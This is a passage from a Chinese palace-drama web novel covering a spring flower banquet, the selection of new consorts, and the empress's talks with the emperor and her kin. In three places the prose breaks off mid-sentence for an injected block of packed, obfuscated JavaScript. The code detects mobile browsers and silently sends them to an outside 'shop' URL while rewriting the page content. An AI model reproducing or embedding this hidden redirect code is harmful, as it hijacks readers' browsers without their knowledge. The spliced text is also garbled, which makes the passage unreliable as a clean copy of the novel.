端木玄冷笑道:“表率?表率全天下女子都像你一般无欲无求又满心希求,把自己困住成日里冷心冷语半死不活吗?你心里可不怎么关心天下人如何,只想着别惹人非议横生麻烦罢?” 师冉月无语,起身拂袖欲走,却又回头道:“既如此,你放我出宫去吧。” “出宫做什么?” “出宫——我有的是事可以做。” 快要到花朝节,国朝照例要在宫中举办赏花宴,请王孙公侯和官宦人家的女眷进宫,迎拜花神、赏花祈福。另一层面,这是这些人家心照不宣的相看儿媳、敲定姻缘的地方。门当户对、知根知底,甚至还可以顺便求得皇后娘娘的赐婚,因此未出阁的姑娘们往往都精心准备。 当年师吟月常热衷此类场合,自谓“于虚与委蛇中排兵布阵”,师冉月却不喜欢精心打扮自己故作端庄地当个被人打量吹捧的木偶娃娃,更何况她晓得有些人当着她面儿上各种称赞谄媚,背地里却吐槽她没有个女孩子样儿,笑话她因为跟着兄长们学骑射而有些黝黑粗糙的皮肤,因此官和言还在京城时她便拉着她去马场、去城外逃避此类应酬,官和言跟着父兄离京后,她干脆早早去京郊庄子里呆着。 今年春,师冉月为着选秀诸事烦心,本想借着休养生息的由头暂停一年赏花宴,然而朝中却有人上书,说是既然科举和选秀都照办不误,那赏花宴也不需多劳民伤财,也好昭告“新气象”。于是师冉月也只好着人操办起来。 花宴当日,师冉月与内外命妇坐在廊上赏花,看年轻姑娘们投壶作画,初春微微凉的风穿堂而过,带着花和脂粉的气息,更杂着湖水和草叶汁水的味道,倒也算怡人。 “怎么没把婷姐儿带来?”师冉月问端木萌道。今日景安、莞安和幼芷都入了宫,其余几个姑娘才三岁,留在家中倒也正常。 “别提了。”端木萌好气又好笑道:“刚出了正月,婷姐儿非要跟着她佳表姐去施粥,这本也没什么,但棠欢黏她大姐姐黏得厉害,哪怕是被抱着也非要跟着一同去,结果竟被不晓得哪个乞丐疯子吓着了,发了两日烧。” “那也是半个月前的事了,而且与婷姐儿有什么关系呢?” 萧晨笑着接话道:“婷姐儿觉得棠欢不体恤平民百姓,拿着焕哥儿的书给棠欢念叨了半天,如今执着于领着棠欢再去施粥,或是到庄子里看农人劳作,今日就是还在庄子里没回来呢。” 端木萌道:“都是你在她小时候总跟她说些什么农人什么百姓之类的话,瞧瞧,好好的孩子都被你带坏了。” 林绵在旁道:“体恤百姓辛苦,这本也是应当,只是婷姐儿有些钻牛角尖了。不过棠欢才三岁罢?长公主竟也放心。” “一帮人跟着,也没什么好不放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226147|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心的,女孩儿也不能日日捧在手心上娇生惯养不知世事啊。” 师冉月瞧着不远处被好些人围着玩投壶的莞安,俨然又是一个众星捧月的月亮。旁边笑着看莞安玩的景安与幼芷性子都淡些,年纪也小,但也不乏总有人上来攀谈,不难看出好些人大概是被父母千叮咛万嘱咐与师家人多接触。 想着倔性子的婷欢,心里突然有些许担忧,却又觉得无伤大雅,终还是把想说的话咽回肚子,与身边众人继续有一搭没一搭地闲聊。 复景元年三月,春闱如期而至,学子如云。 本次选官制度稍有改变,不再分科举与太学两个渠道取士,而是叫太学生与普通学子一同参加科举,考同一套试卷,按排名取士赋官。礼部自出了正月就忙得团团转,时任礼部侍郎正是官和言的兄长官成澈,被他的老师也正是礼部尚书安谈和督促着不敢有丝毫差错,日日夜夜都仿佛头悬梁般被迫吊起精神。师冉月穿着常服去给官和言送补药时也顺耳听了好些礼部官员的“惨状”,回宫去与端木玄说起,二人都笑得不行。 不过礼部的辛劳在判卷结束后也就告一段落,接着由吏部严阵以待取士授官。 “这次的进士都很年轻,前五名里年纪最大的第四名落恒也不过三十三岁,其次是榜眼唐允三十一岁,状元郎才二十七岁,探花郎和第五名都才二十五岁,可是陛下有意为之?” “怎会。如今朝堂上也没几个年迈长者。中年正是国之脊柱,不过......年轻人才是未来栋梁。” 师冉月促狭笑道:“想来是年轻人与陛下年岁相仿,殿试时写的文章才志趣相投罢?”这次科考唯有最后的殿试是由端木玄亲自命题。 不过除去年龄不谈,这前五名里除去唐允是唐太妃的侄子、师冉月的表兄,以及探花吴稳是御史大夫吴称的亲兄弟外,其余的状元白束道、第四名落桓和第五名沈玄期皆出身庶族,倒也真是新面孔了。 “陛下打算如何授官?” “皆先外放历练几年,二甲有几人留到翰林待用,待过几年再渐次外放。” 师冉月点点头。她前些日子刚赶着放榜前求端木玄将沈案之调为翰林大夫、观文殿学士,只待过二年做太子侍中,辅佐教习端木玦。蒋节如今在市舶司任职高位,市舶司也缺他这样的人才与番邦交涉,她便不好开口求人。 “过几日便是选秀大典,臣妾还有些事要处理,先告辞了。” 已是六月,宫中各色鲜花开了不少,却比不得精心打扮的秀女明艳鲜妍。 林绵仍然穿着一身墨绿色常服,梳着低调的发髻,发饰也以银制为主,发间偶尔有两朵宝石心的珠花点缀。她如今比起在王府时竟又丰腴了一点,看上去端庄和蔼,竟像是已经无欲无求又心宽的太妃了。她微笑着向端坐主位的师冉月行了个礼,又与站起身行礼的徐聆雨颔首致意,随后便平和随意地坐在位子上,等着秀女一批批进殿。 师冉月微微侧着头打量了她一下,无奈笑道:“前些日子几位太妃还与我说,是不是司衣局苛待了你,不给你送好衣料。” 林绵道:“司衣局原先送来的衣料倒是鲜亮,简直像是未出阁的小姑娘穿的。”她指了指徐聆雨的衣裳,道:“徐妹妹的衣裳不也净是些素净的颜色,只不过色调浅一些罢了。” 徐聆雨却是清减了好些,不过这些日子师冉月总撺掇她到处走走,到御花园里看孩子们放风筝捉雀儿,到骑射场看端木城与一众王孙公子等练习,或是到太妃宫中去改善改善伙食——近日施太妃与唐太妃闲来无事细心钻研起各式菜品来,倒比御膳房做的那些华而不实的菜引人垂涎得多——是以她的气色也好了些,脸上也能见着笑了,今日又细心打扮,倒像是年轻了好几岁。 她闻言笑道:“妹妹自恃年轻些,却也不好与秀女们争艳。” 林绵完全无意谁中选或是落选,权当看戏,一派悠闲自在,在殿上坐了一上午,吃完了一盏八宝茶,一碟新鲜果盘还有半碟梅子饼。徐聆雨一开始还好,过了几轮就有些恹恹的,只在吴怀安念到谁留用时才抬眼打量一番。 在场几人都心知肚明,今日之选秀不过是做个样子,谁该留下前几日师冉月就已经比对着名册上的相貌家室敲定完毕,端木玄又不到场不过问,这桩选秀盛典便不过是一场政治交易,而非什么深宫情缘了。 33. 第 33 章 傍晚,师冉月收拾歇息了一番,便动身去清和殿用晚膳,顺便告知端木玄选秀结果。 “此次共选进宫六人,都先着封才人。”师冉月指着名册和画像一一道:“刑部尚书孙式的嫡次女孙姝妙,年十六,赐居凤宁阁;御史大夫吴称和新科探花吴稳的妹妹吴秐,年十七,赐居令仪阁;豫州太守赵臣之妹、也是前相公赵盛元的孙女赵玉熹,年十七,赐居清微阁;慕州太守蒋令德的嫡长女蒋纹,年十五,赐居乐念阁;徐州太守俞时温嫡三女俞安乐,年十六,赐居静姝阁;还有河阳太守之女,也是安王妃的姑舅表妹江映,年十五,赐居攸宁阁。秀女先还家告别家人,由宫中派教习嬷嬷去各家指导礼仪等,于七月二十日进宫。” 端木玄接过名册简单翻阅一二,便将其合上随意掷于书卷之间,也未顾画像,道:“皇后行事果然妥帖。” 师冉月轻笑:“陛下谬赞。不过陛下瞧着竟一点不关心秀女们的品貌,到底是陛下的后宫。” 端木玄挑眉:“那又如何?不过当多了几桩差事。” “可若是同样的事,陛下面对的不是花容月貌的名门闺秀,而是......” “接着说——” “猪圈里的母猪——”师冉月边说边起身准备往外闪,话音还没落告罪的话已说出了口,端木玄倒只是坐在原处,笑得有些无奈,却也又几分好奇与探究,像是猛兽被一株色彩鲜艳与众不同的蘑菇挑起了兴趣,道:“朕倒是甚少见皇后这般情状。” “臣妾失态。” “无妨。”端木玄理了理衣袖站起身,朝着师冉月走了两步。他当下未着黄袍,只穿着一身龙身暗纹的青墨色常服,尚未蓄须,瞧着也显年轻。没了朝堂上面对百官时不怒自威的气派,倒像是个游戏人间的纨绔王孙了。“看来皇后在闽中王府与郡王妃相处比在宫中要开心得多。”他前些日子允了师冉月便服出宫,只要不惹人注意,随意她去哪里。师家如今人人瞩目,闽中郡王府被端木阳弄的声色犬马鱼龙混杂,倒是个方便去处。 “宫中千万双眼睛瞧着,臣妾是国母,是天下女子的表率,虽说是装样子,那也得装得差不多。闽中郡王府如今倒像个戏台子了,前些日子我还瞧见几个胡人跳舞。” “是啊。端木齐和端木阳都有意避嫌,先前还被谏官参了一本,不过是彼此做个样子,各自相安无事。” 师冉月却啐道:“闽中郡王与我同岁,幼时也在宴席上常见面,彼时陇西郡王是个闷淘的,成日里与我三哥他们一帮人混在一起胡作非为,闽中郡王却是个锯嘴的葫芦,问十句才说一句,也不爱动,谁能想到大了却是个最能花天酒地的,倒不是作戏——从前他还没出宫立府就让宫女有了身子。如今瞧瞧他那一屋子姬妾,我只看着就心烦,更别说和言日日磋磨,又有那宋滢时时吹着耳边风惦记着正妃的位置,说真的,我私下里去王府这两次,总想着不如叫和言与他和离了好,反正官家人定是支持的。” 端木玄不置可否:“和离,若没个从经史古籍里考证出来的理由,言官的唾沫星子都能把他们淹死。那些个新入朝的年轻人正愁没个事儿上奏疏呢。” 师冉月叹道:“我自知如此,只是一时急了。和言的精气神我总瞧着不太好,太医去看了几次也说不出个所以然,似是月子里着了风寒落下的病根,治也治不大好。好好的人嫁了人就被折磨成了这个样子。和言与我仿若亲生姐妹,我自然多关照担心些,然而纵是与我原先没什么私交的陇西郡王妃,我瞧着也是不忍。她原先也是闺中数一数二的才女,一手行书写得比男子更潇洒有风骨,如今全然似个木头,一刀砍去都听不见声响。” 越说便越愁眉不展,一时倒也没顾及端木玄,复又坐在椅子上斜倚着,更叹道:“可惜我大嫂如今身子也不大好,真是屋漏偏逢连夜雨,我成日里听着从郡王府和侯府回来的太医汇报她们各自的病情,不像是说病,倒像是树上的杜鹃啼血在催命。” 端木玄拿起银剪修剪着花枝,一边手起枝落,一边眼神示意近黛给越说越激动的师冉月添茶。他心知一旦说到了能叫她有感而发并且可以无限联想的话题,她就可以旁若无人地这般絮叨下去,并且也只有让她这般“不吐不快”,才可以解了她心中愤懑,免得日后再生出别的事端来。 “好比我姐姐,原是从起初就错了,偌大的师家不靠为官的男子谋划支撑,却要她一个十几岁的女子困在朝堂局势中辛苦谋划自己的姻缘——甚至连新宁长公主都是如此。这些年看下来,若我说,就合该修改律例,年轻女子都有权拒绝成亲,成了亲不合意也该有权和离或是休夫......男子也是一样的道理,此事上也无需什么分别。” 说及此,端木玄竖了竖耳朵,轻轻用锦帕擦拭着剪刀上留下的树枝汁水,又将其一并交给宫人收起来,才看着正说得激动的师冉月道:“皇后觉得,什么样的婚姻才是合适的?” 师冉月骤然惊愣,盯着端木玄眼睛一眨不眨。两双眼睛钉死了对方,像是秃鹫盯着踩到捕兽夹的虎,哀声不鸣,全然死寂,一呼一吸都似乎能闪动一阵风。不知多久,她缓缓起身,涩声道:“各自相宜,不会害了人性命。” 端木玄踱着步走到她身侧,抬手捏着她的后颈按揉,道:“那皇后觉得,朕与你的婚姻如何?” 师冉月眨了眨眼,微微俯身行礼,不着痕迹地从他手下脱离,俯首道:“天下百姓称颂,自然合适。”又抬头望向端木玄,道:“陛下之前也有意修改律法,地方财政与兵权,又或是选官,如今半年多过去,陛下可有方案了?” 端木玄放下手冷声道:“新人要进宫了,皇后还是管好后宫事罢。” 师冉月垂眼行礼,从善如流道:“谨遵陛下教诲。” “玦儿今日如何?”往坤宁殿回时已是二更天,一路上都没有什么人。随行的宫人打着灯笼摇摇曳曳,仿佛一条缓缓移动的银河。师冉月拒绝了坐轿辇,扶着啼樱与合月慢慢往回走。 “太子殿下和令成公主都由奶母照看着,午前一同在御花园里戏水,午后回坤宁殿睡了一会儿,又去翰林院找沈先生背了会儿诗,沈先生夸太子殿下聪慧好学呢。” 师冉月点点头,却道:“告诉奶母,日后叫玦儿午前先习书,午后再玩。不然日后功课多了,也长大了玩的花样多了,倒没时间读书了。”又奇道:“戏水是如何戏的,可妥帖?” 啼樱手舞足蹈比划着道:“是大皇子前些天叫侍从们帮着用木头和铁皮做了几个小水车,还有盛水的水箱和舀子一类。大皇子还想领太子和公主从御花园的水池引水模拟田间水渠呢。” 师冉月笑道:“城儿竟也对此有兴趣。” 合月道:“大皇子也是在娘娘膝下长大的,想来也是受了娘娘的影响呢。” 师冉月摇头道:“三嫂已经开始怪我带坏了婷姐儿了,可别哪天绵姐姐也来责怪我。城儿的学业近些日子没有落下罢?” “未曾落下。只是大皇子近日相比于诗书典籍,倒是对骑射更感兴趣些。” “想来无妨。他前几年读的书也不少,已经明理了。若是当真更喜武,方略筹谋就是紧要的了,改日我再请陛下为大皇子寻个先生教他兵法。骑射武艺自有校场上的将军教头们,等学个差不多再请师傅精进也不迟。” 一路说着便也到了坤宁殿。师冉月只带着啼樱和合月到偏殿瞧了瞧端木玦的睡颜,便悄声回了正殿,换下繁重的衣衫沐浴洗漱。直到柔软的中衣和绵实的锦被裹住身体,她才慢慢放松下来,在一片漆黑中轻叹了一声,调整呼吸准备入眠。 轻轻合上殿门,啼樱走远了几步,迎着接过合月送来的薄披风搭在肩上,叹道:“音儿姐姐要是在就好了。” 合月眉眼温和,拍拍她的肩柔声道:“你也已经做的很好了。不过音儿也快回来了,听说她得的是个女儿,像极了她。” 啼樱道:“真是便宜成侍卫了。” 合月跟着笑笑,垂眸望着地上被盈盈宫灯染上一点光泽的石砖,神情黯然下去。她只比音儿小半岁,如今也已经二十五岁了,按宫规宫女本是二十五岁出宫还家,可她的身契却还与近黛她们一般归在影卫,性命自由全凭端木玄的意思。她跟着师冉月前已经知道了太多机密,想来端木玄大底不会轻易放她离开了。虽说她如今并没有什么心爱之人,却还是盼着能出宫去过些寻常日子。 “想什么呢合月姐姐?” “没什么——你快去歇息罢。” 端木萌一身朱殷华服,苏梅和长春两色绣线杂着黑线绣着蝶戏海棠的纹样,裙边和袖口都坠着珍珠,华贵非常。 师冉月自从当了皇后,恐怕朝臣异议,总不敢常与家人相见,连好容易得来的便衣出宫的机会也只敢去找官和言说说体己话,至于师家人,也只能借着云和长公主进宫时得以简单聊聊。 “宫中这些人看着,你竟也敢偷偷溜出去,像什么话?”音儿屏退了宫人,自己亲自为师冉月与端木萌倒上热茶,立在一旁侍奉。端木萌未来得及喝茶,先道:“宫外好些人议论,有说在闽中郡王府瞧见像你的,也有道听途说的。我已拜托闽中郡王莫要叫王府的人透出口风来,旁的只推说是有人与你相像,不过却也有弹劾你的奏疏递到御前了,想是陛下压了下来。” “你们且放心,这原是陛下应允了的,他已经交代好了宫人和侍卫,没什么大不了的。我也不会经常出宫。”师冉月带着些许歉意笑了笑,“何况如今又不是前朝,士大夫恨不得连全天下每一只蚂蚁在做什么都要弄清楚参一参,后宫的事有一半是皇帝私事,哪里轮得到他们指手画脚。” 端木萌缓和了神情,喝了一大口茶润了润喉,道:“就算后宫妃嫔的事是皇帝私事,但皇后之事却不是。当年我母后宫中一个宫女偷了两个太后寿宴用的杯子倒卖到宫外,被谏官知道了都参了一本,细数皇后治下不严太过仁慈云云,直到我母后将那宫女赶出宫去才算罢休。我倒觉得如今这情形他们不好好说道说道你才不对,倒像是有司官员尸位素餐了。” 师冉月打哈哈般笑道:“‘尸位素餐’——哪有那么严重......” “怎就不是,如今我倒是看明白了几分,这外头官官相护层层包庇的......倒是便宜了你了。”端木萌叹道。 师冉月把桌上的香果糕点向她推了推,道:“朝堂上的事便先不说了。大嫂的病怎么样了?我日日听着太医汇报总不过那些话术,也不能亲自去看看。” 谈及此端木萌更愁眉不展,举起手揉着眉心只觉得自己似乎老了十岁不止,叹道:“太医日日去看倒也没敷衍,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226148|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太医往往也都说的保守,方子也中规中矩,不敢冒险担责。侯爷前些日子为大嫂请了两位游医来瞧,其中一个倒说不是肺病,是常年劳累内脏都有受损,只能慢慢调养。四弟妹如今每隔两日便给大嫂做针灸,没见病情恶化,却也没有能大好的样子。” 两厢沉默。过了好久,师冉月才出声叹道:“我终也帮不上什么忙。” “怎会,太医总是因着你的旨意才肯日日折腾去家里,虽看不大好,总也看不坏不是?” 窗外一两只鸟雀飞来,在窗棂上驻足一霎,又转而飞到窗边的桂树上去,藏在枝叶里不见了身影,却能听见翅膀“扑棱扑棱”的响声,间杂着一两声转着调子的啼鸣。夏日里天气多变,不过是转瞬之间黑压压的乌云便密实地铺满天空,整个屋子淹没在暗沉的天光里,木质的器具泛起潮湿。骤然两声惊雷,瓢泼大雨便毫不客气地砸下来。檐角的宫铃在雨水中挣扎,很快便发不出什么清脆的声响,鸟雀也不再啼鸣,似乎都把头瑟缩着埋进翅膀下的羽毛里沉默着。一切都吞没在雨中了。 外面昏暗,屋子里的烛光照的人影影绰绰,似乎都是从飘摇风雨中刚刚走出来般满是湿漉的水渍。端木萌又简单讲了两句孩子们的事,发现自己的声音也被雨水压下,便也不再言语。师冉月叫来音儿,令坤宁殿的小厨房做两碗菌菇汤面来,又嘱咐端木玦的奶母一会儿去书院接他时多带件披风。汤面热气腾腾地端上来,开胃又不腻人,吊人精神得很。 “菌子便是雨后长得最快,下雨天吃菌菇面最好不过了,可惜如今还没到长菌子的旺季,市面上没有太多卖的,我宫里存的这些还是南省和西南番邦进贡上来的。哥儿姐儿们与我口味也差不多,想必爱吃,一会儿你带回去些罢。”师冉月迫不及待拿起筷子,仍是小孩子般。 端木萌点点头,“论吃食自没有人能与你争。” 这般吃着,不一会儿雨声渐渐停了,赶着黄昏,云层散去,一片暖光一点一点淌回人间。檐下水滴由急变慢,在夕阳下如同一滴滴暖玉晶莹而温润。宫铃声也随着宫殿间穿过的半凉半暖的风又零零响了起来,鸟儿也站在枝头抖落雨水,三三两两四处飞着,寻找着翅膀沾了水而飞不起来的虫蚁们当作日落归巢前的大餐。师冉月送走端木萌,重新坐回屋檐下的几凳上,寻了一本没什么意思的书,看了两页便把书放在一边小寐,等着端木玦回来。 时间像余晖慢腾腾地拉长,似乎一眼看得见几十年。 师冉月少年时反复琢磨过,如今已懒得去想。 新人入宫着实热闹了一阵子。 “母后,母后!”端木城一猛子冲到坤宁殿,朝着师冉月作揖行云流水,道:“母后,儿臣想去城楼上看新来的娘子们进宫,母妃不许儿臣去,您就允了吧?” 师冉月气笑:“你母妃不许你去,你怎知我就许你去了呢?那是你父皇的后宫娘子,你去看什么,还不乖乖去练骑射。” “我是去看那些娘子们进宫前乘的马车。师傅说各地民风不同,因此马车上镂的纹样、盖的帷幔还有车盖的式样都各有特色,马匹也不同——母后,儿臣好奇嘛,您就放儿臣去瞧瞧吧,您放心,儿臣铁定不是为了去看那些娘子的,等——等明日,儿臣给您写一篇《论车马》来,就写今日所见,行不行?” 师冉月肃然盯着他半晌,破口笑了,道:“去吧去吧。” “谢母后!” 待端木城走了,音儿从旁走上前来,道:“娘娘是否太纵容大殿下了?” “他是陛下长子,却不是太子,没必要拘束得要命。何况他只不过是兴趣不在学究们所谓的‘正事’上,又没伤天害理,也没骄奢淫逸,活泼些无可厚非。”又道:“一会儿等新入宫的娘子们安置下来,你与啼樱、合月一同去将我备好的礼一一送去,顺道说些话。” “我明白,娘娘放心。” “明日新人就该来向我请安了罢?真是造孽,连带着我们三人也要早起了。” 啼樱拿着新送来的钗环在师冉月发髻上比着,道:“娘娘若是不喜欢,仍旧取消了晨礼便罢。” “不可。如今尚不清楚这些人的心性,一切还是按规矩来才妥帖。” “娘娘是后宫之主,怕她们做什么?” 音儿瞪了啼樱一眼,啼樱忙抿嘴噤声,把钗环轻轻放好,垂手立在一旁。师冉月轻叹道:“罢了,性子直率也不是坏事,只是口无遮拦容易招惹祸端,何况是在宫中......啼樱,你要学会缄口不言。”啼樱点头称是,音儿便叫她去看看木莲有没有熨好师冉月要穿的衣裳,将她支了出去,却愁道:“娘娘,啼樱这样的性子是不宜留在宫中的。若硬要管教于她也为难,娘娘也不忍心。” “她今年也二十三岁了,再过两年,我便将她放出宫去,寻个人口简单的好人家,找个踏实的丈夫、和善的舅姑,便也妥当了。”师冉月自己簪上一支羊脂玉做的玉兰钗子,花心的部分用金线勾出了花蕊,栩栩如生,与她头上一整套赤金头面相宜得很。她对着镜子左右照了照,却还是卸了那支簪子,换了三朵一套的白玉莲花的珠花簪在脑后。 “这玉兰簪子是娘娘近日最喜欢的,与这妆面、头面也都搭配,怎么竟不戴了?” “玉兰虽好,却是早春的花,不合如今的时宜了。” 34. 第 34 章 “皇后娘娘千岁千岁千千岁。” 底下一众青春女子齐声跪拜,师冉月穿着雍蓝华服端坐于上,倒觉得自己真正被装进了名为皇后的人偶壳子,被人提着丝线摆在这位子上了——原先还没有几个观众,她想罢演也就罢演了,如今却是多了一群精力充沛的看客,叫她时时刻刻站在台前了。 “免礼。” “谢皇后娘娘。”众人一一起身,因着位分相同,便都排作一排。师冉月抬手向众人介绍了分坐两侧的林绵和徐聆雨,众人又纷纷行礼见安,这才赐座。 “宫中的规矩想来诸位入宫前都已经听嬷嬷们教导过一遍了,本宫便也不再啰嗦。往后希望姐妹们同心同德侍奉陛下,彼此宽厚友爱,莫要做出给家族蒙羞、让陛下为难的事来。” 桃花目里没了光彩和情意便全然是叫人不敢直视的淡漠,深棕的眸子被微微下垂的眼睫覆盖,隐隐绰绰的看不清思绪。 她目光淡淡扫视了一圈众人的面孔,微微勾起唇角,缓和地笑了,道:“本宫与贵妃、昭仪都是好相处的人,大家也不必拘着性子。赵才人、蒋才人、俞才人和江才人都是千里迢迢来的京城,可还习惯?” 俞安乐点头笑道:“一切都好,多谢娘娘挂心。”她生了一双圆眼,皮肤白皙,嗓音清脆,如初生的小鹿一般灵动可爱。其余三人也都跟着点头称是。 师冉月又看向孙姝妙和吴秐,道:“孙才人与吴才人都是自幼在京城长大的,幼时也曾与本宫见过面。不过在宫中不比从前,行事也得比从前谨慎。若有什么不妥当的来坤宁殿找本宫便是。” “谨遵娘娘教诲。”二人道。 “日后便也不分是从何处来的了,既已入宫,便都是一家,莫要拿父兄的本事压人,也无需为从前的琐事畏畏缩缩。本宫是个直肠子,见不得拐弯抹角的心思,也讨厌弯弯绕绕的行事。这宫里如今干干净净,莫要因为今日这堂上的哪个人染了污秽了。” 众人低首称是。 师冉月便又笑了笑,道:“既如此,今日便也就到这儿罢。本宫不喜欢请安这一套规矩,日后逢五请安,其余的日子各自做各自的事就是了。” “徐姐姐!” 徐聆雨停住脚步,侧头看去,原是新入宫的孙才人。孙姝妙快走了几步追上徐聆雨,行了一礼笑道:“入宫这两日大小事不断,还没来得及去给姐姐请安,姐姐莫要怪罪妹妹。” 徐聆雨看了看她挽过来的手,挑了挑眉:“你我又不相识,我为何要怪罪你?” 孙姝妙一时尴尬,却还是笑道:“姐姐忘了,晋遂大长公主九十大寿的时候,你我在雷州公主府上见过......我娘是惠平大长公主的女儿固阳县主。” 徐聆雨这才想起些许。不过说起来徐聆雨的祖母昌留大长公主与惠平大长公主都是穆宗的妹妹、武宗的姑姑,这般算起来两人的确有亲,只是二人旧时也不过是在晋遂大长公主的寿宴上见过那么一次。晋遂大长公主彼时是武宗唯一在世的姑祖母了,御赐的“寿”字金匾千里迢迢送到雷州,皇亲国戚但凡能去的无不捧场,因而短短三日不少有爵位没爵位的郡王、郡公、郡主、县主的子女来来往往,能混个眼熟都是好的了。徐聆雨对所有人都客客气气,却也懒得主动攀谈结交,因此自寿宴回去便把那些人忘了个七七八八。 “妹妹真是好记性。”晋遂大长公主贺完寿半年就便驾鹤西去,如今已过去六年,算起来彼时孙姝妙才不过十岁,想必也不是当时对她有什么印象,而是入宫前特意调查过,如今才好来攀谈。徐聆雨表情未变。她想不到孙姝妙在坤宁殿前当着众人的面儿如此结交自己的理由,论私交几乎可以不计,论家世背景,其实师家也有一个长公主和一个郡主,与她们没太大利益划分,只不过是尚且光鲜荣耀还是已经落魄的分别罢了。再者,孙姝妙更应该依靠的不是她母亲而是她父亲刑部尚书孙式,孙式一向保持中立,他的女儿入宫次日便这般结交关系,实属蹊跷。 孙姝妙挽着她笑道:“姐姐谬赞了。那日姐姐还未及笄,却是一副好酒量,一席青衣,堪称女中豪杰呢。”徐聆雨表面不动声色,心下却讶然,自己竟给这姑娘留下过这等印象,惊得她都想现在回逢州问问嫂嫂妹妹自己当年到底是个什么样子了。 孙姝妙仍挽着她絮絮叨叨说些京城风光、江南美景之类,直到把她送回了云怡阁才罢休。 澜水与湖亭扶着徐聆雨进门,回头看孙姝妙仍站在门口望着,忙点头示意代礼,又匆匆转过头来,直到回了阁中才道:“娘子,这孙才人打的是什么主意,皇后娘娘知道了会不会以为您与她结党营私啊。” 徐聆雨神情淡然,叫奶娘将端木含领过来抱在身前逗着,才露出笑意,道:“清者自清,不必管她。” “听闻蒋先生就要去泉郡任职了,学生幼时多蒙先生教导,特来相送。”端木城示意随从将准备好的两箱书搬到蒋节的马车上,又道:“先生放心,早闻先生喜欢志怪杂谈,这都是我辛苦搜罗来的,有些是原本,有些是手抄,还请先生笑纳。” 蒋节长揖道:“多谢殿下。臣昔日在王府时蒙陛下与娘娘看重,得以与殿下有那么一段师生之谊,实乃臣此生之幸。还望殿下日后平安康健,万事顺遂......日后若碰上叫殿下为难的事,或是有人欲借殿下之手加害他人,还望殿下能仔细甄辨,遵从己心,莫要过多贪求。” 端木城爽朗一笑:“先生放心。先生此去是为国朝重开洋路,与远洋各国往来交流,是功利千秋的大事。来日学生若学成武艺,也愿赴东洋、南洋,助先生为国朝开辟商路,通商远洋。” 飞溅的酒滴如细雨没入驿道的黄土,马车扬尘而去。蒋节掀开车帘回头望去,少年仍旧站在原地目送着他离开。 “朕观大皇子近日谈吐,倒是颇有一番见识与志向了。” “陛下谬赞。”林绵亲自点茶,一番动作行云流水,稳而不慢,赏心悦目。“城儿本事还不到,只是少年人空有些志向罢了。他的志向今儿换一个,明儿换一个,实在当不得真。”林绵笑笑,起身将茶端到端木玄面前。林绵的点茶技术一向很好,比师冉月点的几乎能多咬盏半刻的功夫。 茶花慢慢散尽,林绵柔声缓缓道:“城儿是陛下的长子,但不是太子,无需承担太子的重任。妾也不盼望他有什么抱负,只是不希望他来日如闽中郡王那般自甘堕落,或是像陇西郡王那般消沉低迷。”她抬眼小心观察了一番端木玄的神色,开口谨慎而柔和:“如今他对马术、木工感兴趣,还望......陛下应允他去试试这些所谓的‘旁门左道’。” 端木玄倒没有什么迟疑,颔首道:“朕不会拦着他。他是个好兄长,太子和令成都很喜欢他。” 林绵嘴角的笑意深了些许,“这也是皇后娘娘宽厚仁慈、昭仪也和善的缘故,不然深宫之中妾也不敢叫城儿如此放肆带着弟弟妹妹们玩闹了。” “皇后......的确宽厚,只是如今的心思不大在后宫之中。” “阳曲侯府的萧夫人自小伴着皇后娘娘长大,唐夫人去世后更是如同她半个母亲;闽中郡王妃是皇后娘娘少有的几个知心的密友,如今二人都缠绵病榻,也难为娘娘多挂心些。不过后宫中也没什么纷扰,可见还是娘娘治理有方。”林绵思忖着缓缓说着。 送走了端木玄,林绵便着人将自己珍爱的这套上等茶具收好。樱桃一边叫人布菜,一边道:“娘娘,陛下好容易来一趟,就说了些不明不白的话,吃了您一盏茶就走了?” 端木城从偏殿撇下一堆榫卯零件出来上了桌,“哇,樱桃姑姑,今儿是什么日子,怎么有糖皮肘子吃?”这糖皮肘子原是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226149|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从前王府侧院的常菜,林绵、端木城还有樱桃三个都爱吃,但自从入宫后,宫里掌菜的掌宫觉得肘子不是宫里的菜式,不许上桌。后来林绵同师冉月讲了,单拨了人在自己殿中掌管膳食,没有他人在时便可想吃什么就吃什么。不过太医知道后却说糖皮肘子太过荤腥油腻不可多食,樱桃便不顾端木城苦苦哀求开启肘子限量模式。 林绵笑着坐下准备用膳:“他哪里是想起了我或是关心城儿,不过是心里别扭着记挂着皇后娘娘,却恼于皇后娘娘心思不在他身上罢了。” 樱桃瞠目结舌:“陛下记挂皇后娘娘?我还以为陛下一心只在朝堂大业,对后宫女子一概是逢场作戏走个过场呢。” 